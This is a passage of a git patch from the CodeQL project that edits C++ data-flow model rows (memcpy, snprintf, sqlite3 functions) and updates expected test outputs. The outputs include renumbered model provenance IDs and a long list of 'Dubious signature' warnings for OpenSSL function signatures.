"jim_regexec", "(regex_t *,const char *,size_t,regmatch_t[],int)", "", "Argument[4]", "Argument[*0].Field[*eflags]", "value", "dfc-generated"] - - ["", "", True, "main", "(int,char **)", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] - - ["", "", True, "main", "(int,char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] - - ["", "", True, "main", "(int,char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] - - ["", "", True, "main", "(int,char *const[])", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] - - ["", "", True, "memcpy", "(void *__restrict__,const void *__restrict__,size_t)", "", "Argument[**1]", "Argument[*0]", "value", "dfc-generated"] - - ["", "", True, "memcpy", "(void *__restrict__,const void *__restrict__,size_t)", "", "Argument[**1]", "ReturnValue[**]", "value", "dfc-generated"] - - ["", "", True, "memcpy", "(void *__restrict__,const void *__restrict__,size_t)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] - - ["", "", True, "memcpy", "(void *__restrict__,const void *__restrict__,size_t)", "", "Argument[*1]", "Argument[*0]", "value", "df-generated"] - - ["", "", True, "memcpy", "(void *__restrict__,const void *__restrict__,size_t)", "", "Argument[*1]", "ReturnValue[**]", "value", "df-generated"] - - ["", "", True, "memcpy", "(void *__restrict__,const void *__restrict__,size_t)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] - - ["", "", True, "memcpy", "(void *__restrict__,const void *__restrict__,size_t)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["", "", True, "print_stack_union", "(FILE *,lemon *,int *,int)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] - - ["", "", True, "putc_unlocked", "(int,FILE *)", "", "Argument[0]", "Argument[*1].Field[**_IO_write_ptr]", "value", "dfc-generated"] - ["", "", True, "recoverInit", "(sqlite3 *,const char *,const char *,..(*)(..),void *)", "", "Argument[**4]", "ReturnValue[*].Field[***pSqlCtx]", "value", "dfc-generated"] - ["", "", True, "recoverInit", "(sqlite3 *,const char *,const char *,..(*)(..),void *)", "", "Argument[*1]", "ReturnValue[*].Field[**zDb]", "value", "dfc-generated"] - ["", "", True, "recoverInit", "(sqlite3 *,const char *,const char *,..(*)(..),void *)", "", "Argument[*2]", "ReturnValue[*].Field[**zUri]", "value", "dfc-generated"] @@ -501,10 +465,6 @@ extensions: - ["", "", True, "sha1sum_file", "(const char *,char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] - ["", "", True, "sha3sum_file", "(const char *,char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] - ["", "", True, "shellReset", "(int *,sqlite3_stmt *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] - - ["", "", True, "snprintf", "(char *__restrict__,size_t,const char *__restrict__,...)", "", "Argument[*2]", "Argument[*0]", "taint", "dfc-generated"] - - ["", "", True, "snprintf", "(char *__restrict__,size_t,const char *__restrict__,...)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] - - ["", "", True, "sprintf", "(char *__restrict__,const char *__restrict__,...)", "", "Argument[*1]", "Argument[*0]", "taint", "dfc-generated"] - - ["", "", True, "sprintf", "(char *__restrict__,const char *__restrict__,...)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] - ["", "", True, "sqlite3CompletionVtabInit", "(sqlite3 *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] - ["", "", True, "sqlite3_aggregate_context", "(sqlite3_context *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] - ["", "", True, "sqlite3_aggregate_context", "(sqlite3_context *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] @@ -967,8 +927,6 @@ extensions: - ["", "", True, "statehash", "(config *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] - ["", "", True, "strhash", "(const char *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] - ["", "", True, "strhash", "(const char *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] - - ["", "", True, "tolower", "(int)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["", "", True, "toupper", "(int)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["", "", True, "tplt_linedir", "(FILE *,int,char *)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] - ["", "", True, "tplt_linedir", "(FILE *,int,char *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] - ["", "", True, "tplt_print", "(FILE *,lemon *,char *,int *)", "", "Argument[*1].Field[*outname]", "Argument[*1].Field[**outname]", "taint", "dfc-generated"] From bebc077c9e71199ee8e8ac96cb2f24d31ffb8702 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Wed, 14 May 2025 12:44:50 +0100 Subject: [PATCH 172/535] C++: Accept test changes. --- .../dataflow/external-models/flow.expected | 24 +- .../external-models/validatemodels.expected | 3744 +++ .../taint-tests/test_mad-signatures.expected | 27680 ++++++++++++++++ 3 files changed, 31436 insertions(+), 12 deletions(-) diff --git a/cpp/ql/test/library-tests/dataflow/external-models/flow.expected b/cpp/ql/test/library-tests/dataflow/external-models/flow.expected index 66709332e61a..e071294adfee 100644 --- a/cpp/ql/test/library-tests/dataflow/external-models/flow.expected +++ b/cpp/ql/test/library-tests/dataflow/external-models/flow.expected @@ -10,31 +10,31 @@ edges | asio_streams.cpp:100:44:100:62 | call to buffer | asio_streams.cpp:103:29:103:39 | *send_buffer | provenance | Sink:MaD:6 | | asio_streams.cpp:100:64:100:71 | *send_str | asio_streams.cpp:56:18:56:23 | [summary param] *0 in buffer | provenance | | | asio_streams.cpp:100:64:100:71 | *send_str | asio_streams.cpp:100:44:100:62 | call to buffer | provenance | MaD:10 | -| test.cpp:4:5:4:17 | [summary param] 0 in ymlStepManual | test.cpp:4:5:4:17 | [summary] to write: ReturnValue in ymlStepManual | provenance | MaD:969 | -| test.cpp:5:5:5:20 | [summary param] 0 in ymlStepGenerated | test.cpp:5:5:5:20 | [summary] to write: ReturnValue in ymlStepGenerated | provenance | MaD:970 | -| test.cpp:6:5:6:27 | [summary param] 0 in ymlStepManual_with_body | test.cpp:6:5:6:27 | [summary] to write: ReturnValue in ymlStepManual_with_body | provenance | MaD:971 | +| test.cpp:4:5:4:17 | [summary param] 0 in ymlStepManual | test.cpp:4:5:4:17 | [summary] to write: ReturnValue in ymlStepManual | provenance | MaD:23740 | +| test.cpp:5:5:5:20 | [summary param] 0 in ymlStepGenerated | test.cpp:5:5:5:20 | [summary] to write: ReturnValue in ymlStepGenerated | provenance | MaD:23741 | +| test.cpp:6:5:6:27 | [summary param] 0 in ymlStepManual_with_body | test.cpp:6:5:6:27 | [summary] to write: ReturnValue in ymlStepManual_with_body | provenance | MaD:23742 | | test.cpp:7:47:7:52 | value2 | test.cpp:7:64:7:69 | value2 | provenance | | | test.cpp:7:64:7:69 | value2 | test.cpp:7:5:7:30 | *ymlStepGenerated_with_body | provenance | | -| test.cpp:10:10:10:18 | call to ymlSource | test.cpp:10:10:10:18 | call to ymlSource | provenance | Src:MaD:967 | -| test.cpp:10:10:10:18 | call to ymlSource | test.cpp:14:10:14:10 | x | provenance | Sink:MaD:968 | +| test.cpp:10:10:10:18 | call to ymlSource | test.cpp:10:10:10:18 | call to ymlSource | provenance | Src:MaD:23738 | +| test.cpp:10:10:10:18 | call to ymlSource | test.cpp:14:10:14:10 | x | provenance | Sink:MaD:23739 | | test.cpp:10:10:10:18 | call to ymlSource | test.cpp:17:24:17:24 | x | provenance | | | test.cpp:10:10:10:18 | call to ymlSource | test.cpp:21:27:21:27 | x | provenance | | | test.cpp:10:10:10:18 | call to ymlSource | test.cpp:25:35:25:35 | x | provenance | | | test.cpp:10:10:10:18 | call to ymlSource | test.cpp:32:41:32:41 | x | provenance | | | test.cpp:17:10:17:22 | call to ymlStepManual | test.cpp:17:10:17:22 | call to ymlStepManual | provenance | | -| test.cpp:17:10:17:22 | call to ymlStepManual | test.cpp:18:10:18:10 | y | provenance | Sink:MaD:968 | +| test.cpp:17:10:17:22 | call to ymlStepManual | test.cpp:18:10:18:10 | y | provenance | Sink:MaD:23739 | | test.cpp:17:24:17:24 | x | test.cpp:4:5:4:17 | [summary param] 0 in ymlStepManual | provenance | | -| test.cpp:17:24:17:24 | x | test.cpp:17:10:17:22 | call to ymlStepManual | provenance | MaD:969 | +| test.cpp:17:24:17:24 | x | test.cpp:17:10:17:22 | call to ymlStepManual | provenance | MaD:23740 | | test.cpp:21:10:21:25 | call to ymlStepGenerated | test.cpp:21:10:21:25 | call to ymlStepGenerated | provenance | | -| test.cpp:21:10:21:25 | call to ymlStepGenerated | test.cpp:22:10:22:10 | z | provenance | Sink:MaD:968 | +| test.cpp:21:10:21:25 | call to ymlStepGenerated | test.cpp:22:10:22:10 | z | provenance | Sink:MaD:23739 | | test.cpp:21:27:21:27 | x | test.cpp:5:5:5:20 | [summary param] 0 in ymlStepGenerated | provenance | | -| test.cpp:21:27:21:27 | x | test.cpp:21:10:21:25 | call to ymlStepGenerated | provenance | MaD:970 | +| test.cpp:21:27:21:27 | x | test.cpp:21:10:21:25 | call to ymlStepGenerated | provenance | MaD:23741 | | test.cpp:25:11:25:33 | call to ymlStepManual_with_body | test.cpp:25:11:25:33 | call to ymlStepManual_with_body | provenance | | -| test.cpp:25:11:25:33 | call to ymlStepManual_with_body | test.cpp:26:10:26:11 | y2 | provenance | Sink:MaD:968 | +| test.cpp:25:11:25:33 | call to ymlStepManual_with_body | test.cpp:26:10:26:11 | y2 | provenance | Sink:MaD:23739 | | test.cpp:25:35:25:35 | x | test.cpp:6:5:6:27 | [summary param] 0 in ymlStepManual_with_body | provenance | | -| test.cpp:25:35:25:35 | x | test.cpp:25:11:25:33 | call to ymlStepManual_with_body | provenance | MaD:971 | +| test.cpp:25:35:25:35 | x | test.cpp:25:11:25:33 | call to ymlStepManual_with_body | provenance | MaD:23742 | | test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | provenance | | -| test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | test.cpp:33:10:33:11 | z2 | provenance | Sink:MaD:968 | +| test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | test.cpp:33:10:33:11 | z2 | provenance | Sink:MaD:23739 | | test.cpp:32:41:32:41 | x | test.cpp:7:47:7:52 | value2 | provenance | | | test.cpp:32:41:32:41 | x | test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | provenance | | nodes diff --git a/cpp/ql/test/library-tests/dataflow/external-models/validatemodels.expected b/cpp/ql/test/library-tests/dataflow/external-models/validatemodels.expected index 718cf020c4d0..440183ae3a9d 100644 --- a/cpp/ql/test/library-tests/dataflow/external-models/validatemodels.expected +++ b/cpp/ql/test/library-tests/dataflow/external-models/validatemodels.expected @@ -13,23 +13,2555 @@ | Dubious member name "operator->" in summary model. | | Dubious member name "operator=" in summary model. | | Dubious member name "operator[]" in summary model. | +| Dubious signature "(..(*)(..))" in summary model. | +| Dubious signature "(..(*)(..),..(*)(..),..(*)(..),..(*)(..))" in summary model. | +| Dubious signature "(..(*)(..),d2i_of_void *,BIO *,void **)" in summary model. | +| Dubious signature "(..(*)(..),d2i_of_void *,FILE *,void **)" in summary model. | +| Dubious signature "(..(*)(..),void *)" in summary model. | +| Dubious signature "(..(*)(..),void *,OSSL_STATM *,const OSSL_CC_METHOD *,OSSL_CC_DATA *)" in summary model. | +| Dubious signature "(ACCESS_DESCRIPTION *)" in summary model. | +| Dubious signature "(ACCESS_DESCRIPTION **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ADMISSIONS *)" in summary model. | +| Dubious signature "(ADMISSIONS **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ADMISSIONS *,GENERAL_NAME *)" in summary model. | +| Dubious signature "(ADMISSIONS *,NAMING_AUTHORITY *)" in summary model. | +| Dubious signature "(ADMISSIONS *,PROFESSION_INFOS *)" in summary model. | +| Dubious signature "(ADMISSION_SYNTAX *)" in summary model. | +| Dubious signature "(ADMISSION_SYNTAX **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ADMISSION_SYNTAX *,GENERAL_NAME *)" in summary model. | +| Dubious signature "(ADMISSION_SYNTAX *,stack_st_ADMISSIONS *)" in summary model. | +| Dubious signature "(AES_KEY *,const unsigned char *,unsigned char *,const unsigned char *,unsigned int)" in summary model. | +| Dubious signature "(ARGS *,char *)" in summary model. | +| Dubious signature "(ASIdOrRange *)" in summary model. | +| Dubious signature "(ASIdOrRange **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASIdentifierChoice *)" in summary model. | +| Dubious signature "(ASIdentifierChoice **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASIdentifiers *)" in summary model. | +| Dubious signature "(ASIdentifiers **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASN1_BIT_STRING **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASN1_BIT_STRING *,const char *,int,BIT_STRING_BITNAME *)" in summary model. | +| Dubious signature "(ASN1_BIT_STRING *,int,int)" in summary model. | +| Dubious signature "(ASN1_BIT_STRING *,unsigned char **)" in summary model. | +| Dubious signature "(ASN1_BIT_STRING *,unsigned char *,int)" in summary model. | +| Dubious signature "(ASN1_BMPSTRING **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASN1_ENUMERATED **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASN1_ENUMERATED *,int64_t)" in summary model. | +| Dubious signature "(ASN1_ENUMERATED *,long)" in summary model. | +| Dubious signature "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASN1_GENERALIZEDTIME *,const char *)" in summary model. | +| Dubious signature "(ASN1_GENERALIZEDTIME *,time_t)" in summary model. | +| Dubious signature "(ASN1_GENERALIZEDTIME *,time_t,int,long)" in summary model. | +| Dubious signature "(ASN1_GENERALSTRING **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASN1_IA5STRING **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASN1_INTEGER **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASN1_INTEGER *,int64_t)" in summary model. | +| Dubious signature "(ASN1_INTEGER *,long)" in summary model. | +| Dubious signature "(ASN1_INTEGER *,uint64_t)" in summary model. | +| Dubious signature "(ASN1_INTEGER *,unsigned char **)" in summary model. | +| Dubious signature "(ASN1_NULL *)" in summary model. | +| Dubious signature "(ASN1_NULL **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASN1_OBJECT **,const unsigned char **,int *,X509_ALGOR **,const X509_PUBKEY *)" in summary model. | +| Dubious signature "(ASN1_OBJECT **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASN1_OBJECT *,ASN1_TYPE *)" in summary model. | +| Dubious signature "(ASN1_OCTET_STRING **,ASN1_OBJECT **,ASN1_OCTET_STRING **,ASN1_INTEGER **,OCSP_CERTID *)" in summary model. | +| Dubious signature "(ASN1_OCTET_STRING **,X509 *)" in summary model. | +| Dubious signature "(ASN1_OCTET_STRING **,const ASN1_OCTET_STRING *)" in summary model. | +| Dubious signature "(ASN1_OCTET_STRING **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASN1_OCTET_STRING **,const unsigned char *,int)" in summary model. | +| Dubious signature "(ASN1_OCTET_STRING *,X509 *)" in summary model. | +| Dubious signature "(ASN1_OCTET_STRING *,const unsigned char *,int)" in summary model. | +| Dubious signature "(ASN1_PCTX *,unsigned long)" in summary model. | +| Dubious signature "(ASN1_PRINTABLESTRING **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASN1_SCTX *)" in summary model. | +| Dubious signature "(ASN1_SCTX *,void *)" in summary model. | +| Dubious signature "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASN1_STRING *)" in summary model. | +| Dubious signature "(ASN1_STRING **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASN1_STRING **,const unsigned char *,int,int,int)" in summary model. | +| Dubious signature "(ASN1_STRING **,const unsigned char *,int,int,unsigned long)" in summary model. | +| Dubious signature "(ASN1_STRING **,const unsigned char *,int,int,unsigned long,long,long)" in summary model. | +| Dubious signature "(ASN1_STRING *,const ASN1_STRING *)" in summary model. | +| Dubious signature "(ASN1_STRING *,const void *,int)" in summary model. | +| Dubious signature "(ASN1_STRING *,int)" in summary model. | +| Dubious signature "(ASN1_STRING *,unsigned int)" in summary model. | +| Dubious signature "(ASN1_STRING *,void *,int)" in summary model. | +| Dubious signature "(ASN1_T61STRING **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASN1_TIME *)" in summary model. | +| Dubious signature "(ASN1_TIME **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASN1_TIME **,int *,ASN1_OBJECT **,ASN1_GENERALIZEDTIME **,const char *)" in summary model. | +| Dubious signature "(ASN1_TIME *,const char *)" in summary model. | +| Dubious signature "(ASN1_TIME *,int,long,time_t *)" in summary model. | +| Dubious signature "(ASN1_TIME *,long)" in summary model. | +| Dubious signature "(ASN1_TIME *,long,time_t *)" in summary model. | +| Dubious signature "(ASN1_TIME *,time_t)" in summary model. | +| Dubious signature "(ASN1_TIME *,time_t,int,long)" in summary model. | +| Dubious signature "(ASN1_TIME *,tm *,int)" in summary model. | +| Dubious signature "(ASN1_TYPE *)" in summary model. | +| Dubious signature "(ASN1_TYPE **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASN1_TYPE *,int,const void *)" in summary model. | +| Dubious signature "(ASN1_TYPE *,int,void *)" in summary model. | +| Dubious signature "(ASN1_TYPE *,unsigned char *,int)" in summary model. | +| Dubious signature "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASN1_UTCTIME **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASN1_UTCTIME *,const char *)" in summary model. | +| Dubious signature "(ASN1_UTCTIME *,time_t)" in summary model. | +| Dubious signature "(ASN1_UTCTIME *,time_t,int,long)" in summary model. | +| Dubious signature "(ASN1_UTF8STRING **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASN1_VALUE **,const ASN1_ITEM *)" in summary model. | +| Dubious signature "(ASN1_VALUE **,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(ASN1_VALUE **,const ASN1_ITEM *,int)" in summary model. | +| Dubious signature "(ASN1_VALUE **,const ASN1_TEMPLATE *)" in summary model. | +| Dubious signature "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)" in summary model. | +| Dubious signature "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,int,int,char,ASN1_TLC *)" in summary model. | +| Dubious signature "(ASN1_VALUE **,const unsigned char *,int,const ASN1_ITEM *)" in summary model. | +| Dubious signature "(ASN1_VALUE **,int,const ASN1_ITEM *)" in summary model. | +| Dubious signature "(ASN1_VALUE *,const ASN1_ITEM *)" in summary model. | +| Dubious signature "(ASN1_VISIBLESTRING **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASRange *)" in summary model. | +| Dubious signature "(ASRange **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASYNC_JOB *)" in summary model. | +| Dubious signature "(ASYNC_JOB **,ASYNC_WAIT_CTX *,int *,..(*)(..),void *,size_t)" in summary model. | +| Dubious signature "(ASYNC_WAIT_CTX *)" in summary model. | +| Dubious signature "(ASYNC_WAIT_CTX *,ASYNC_callback_fn *,void **)" in summary model. | +| Dubious signature "(ASYNC_WAIT_CTX *,ASYNC_callback_fn,void *)" in summary model. | +| Dubious signature "(ASYNC_WAIT_CTX *,const void *,int *,void **)" in summary model. | +| Dubious signature "(ASYNC_WAIT_CTX *,const void *,int,void *,..(*)(..))" in summary model. | +| Dubious signature "(ASYNC_WAIT_CTX *,int *,size_t *)" in summary model. | +| Dubious signature "(ASYNC_WAIT_CTX *,int *,size_t *,int *,size_t *)" in summary model. | +| Dubious signature "(ASYNC_WAIT_CTX *,int)" in summary model. | +| Dubious signature "(AUTHORITY_INFO_ACCESS *)" in summary model. | +| Dubious signature "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)" in summary model. | +| Dubious signature "(AUTHORITY_KEYID *)" in summary model. | +| Dubious signature "(AUTHORITY_KEYID **,const unsigned char **,long)" in summary model. | +| Dubious signature "(BASIC_CONSTRAINTS *)" in summary model. | +| Dubious signature "(BASIC_CONSTRAINTS **,const unsigned char **,long)" in summary model. | +| Dubious signature "(BIGNUM *)" in summary model. | +| Dubious signature "(BIGNUM **,const char *)" in summary model. | +| Dubious signature "(BIGNUM *,ASN1_INTEGER *)" in summary model. | +| Dubious signature "(BIGNUM *,BIGNUM *)" in summary model. | +| Dubious signature "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)" in summary model. | +| Dubious signature "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)" in summary model. | +| Dubious signature "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)" in summary model. | +| Dubious signature "(BIGNUM *,BIGNUM *,BN_BLINDING *,BN_CTX *)" in summary model. | +| Dubious signature "(BIGNUM *,BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *)" in summary model. | +| Dubious signature "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)" in summary model. | +| Dubious signature "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)" in summary model. | +| Dubious signature "(BIGNUM *,BIGNUM *,const unsigned char **,size_t)" in summary model. | +| Dubious signature "(BIGNUM *,BIGNUM *,int,BN_CTX *)" in summary model. | +| Dubious signature "(BIGNUM *,BN_BLINDING *,BN_CTX *)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,BN_BLINDING *,BN_CTX *)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,BN_CTX *)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,const BIGNUM *)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,int *)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,BN_CTX *)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,const char *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,const BIGNUM *,int)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,const int[])" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,const int[],BN_CTX *)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,int)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,int,BN_CTX *)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,int,const BIGNUM *)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,unsigned int,BN_CTX *)" in summary model. | +| Dubious signature "(BIGNUM *,const unsigned long *,int)" in summary model. | +| Dubious signature "(BIGNUM *,int)" in summary model. | +| Dubious signature "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,..(*)(..),void *)" in summary model. | +| Dubious signature "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *)" in summary model. | +| Dubious signature "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *,BN_CTX *)" in summary model. | +| Dubious signature "(BIGNUM *,int,int,int)" in summary model. | +| Dubious signature "(BIGNUM *,int,int,int,unsigned int,BN_CTX *)" in summary model. | +| Dubious signature "(BIGNUM *,unsigned long)" in summary model. | +| Dubious signature "(BIGNUM *,unsigned long,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)" in summary model. | +| Dubious signature "(BIO *)" in summary model. | +| Dubious signature "(BIO *,ASN1_VALUE *,BIO *,int,const ASN1_ITEM *)" in summary model. | +| Dubious signature "(BIO *,ASN1_VALUE *,BIO *,int,const char *,const ASN1_ITEM *)" in summary model. | +| Dubious signature "(BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *)" in summary model. | +| Dubious signature "(BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(BIO *,ASN1_VALUE *,const ASN1_ITEM *)" in summary model. | +| Dubious signature "(BIO *,BIO *)" in summary model. | +| Dubious signature "(BIO *,BIO **)" in summary model. | +| Dubious signature "(BIO *,BIO **,PKCS7 **)" in summary model. | +| Dubious signature "(BIO *,BIO **,const ASN1_ITEM *)" in summary model. | +| Dubious signature "(BIO *,BIO *,int)" in summary model. | +| Dubious signature "(BIO *,BIO_callback_fn)" in summary model. | +| Dubious signature "(BIO *,BIO_callback_fn_ex)" in summary model. | +| Dubious signature "(BIO *,CMS_ContentInfo *)" in summary model. | +| Dubious signature "(BIO *,CMS_ContentInfo **)" in summary model. | +| Dubious signature "(BIO *,CMS_ContentInfo **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,CMS_ContentInfo *,BIO *,int)" in summary model. | +| Dubious signature "(BIO *,DH **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,DSA **)" in summary model. | +| Dubious signature "(BIO *,DSA **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,EC_GROUP **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,EC_KEY **)" in summary model. | +| Dubious signature "(BIO *,EC_KEY **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,EVP_PKEY **)" in summary model. | +| Dubious signature "(BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(BIO *,EVP_PKEY **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(BIO *,GENERAL_NAMES *,int)" in summary model. | +| Dubious signature "(BIO *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,NETSCAPE_SPKI *)" in summary model. | +| Dubious signature "(BIO *,OCSP_REQUEST *,unsigned long)" in summary model. | +| Dubious signature "(BIO *,OCSP_RESPONSE *,unsigned long)" in summary model. | +| Dubious signature "(BIO *,OSSL_CMP_MSG **)" in summary model. | +| Dubious signature "(BIO *,PKCS7 *)" in summary model. | +| Dubious signature "(BIO *,PKCS7 **)" in summary model. | +| Dubious signature "(BIO *,PKCS7 **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,PKCS7 *,BIO *,int)" in summary model. | +| Dubious signature "(BIO *,PKCS7 *,PKCS7_SIGNER_INFO *,X509 *)" in summary model. | +| Dubious signature "(BIO *,PKCS8_PRIV_KEY_INFO **)" in summary model. | +| Dubious signature "(BIO *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,PKCS12 **)" in summary model. | +| Dubious signature "(BIO *,RSA **)" in summary model. | +| Dubious signature "(BIO *,RSA **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,SSL_SESSION **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,TS_MSG_IMPRINT **)" in summary model. | +| Dubious signature "(BIO *,TS_REQ *)" in summary model. | +| Dubious signature "(BIO *,TS_REQ **)" in summary model. | +| Dubious signature "(BIO *,TS_RESP *)" in summary model. | +| Dubious signature "(BIO *,TS_RESP **)" in summary model. 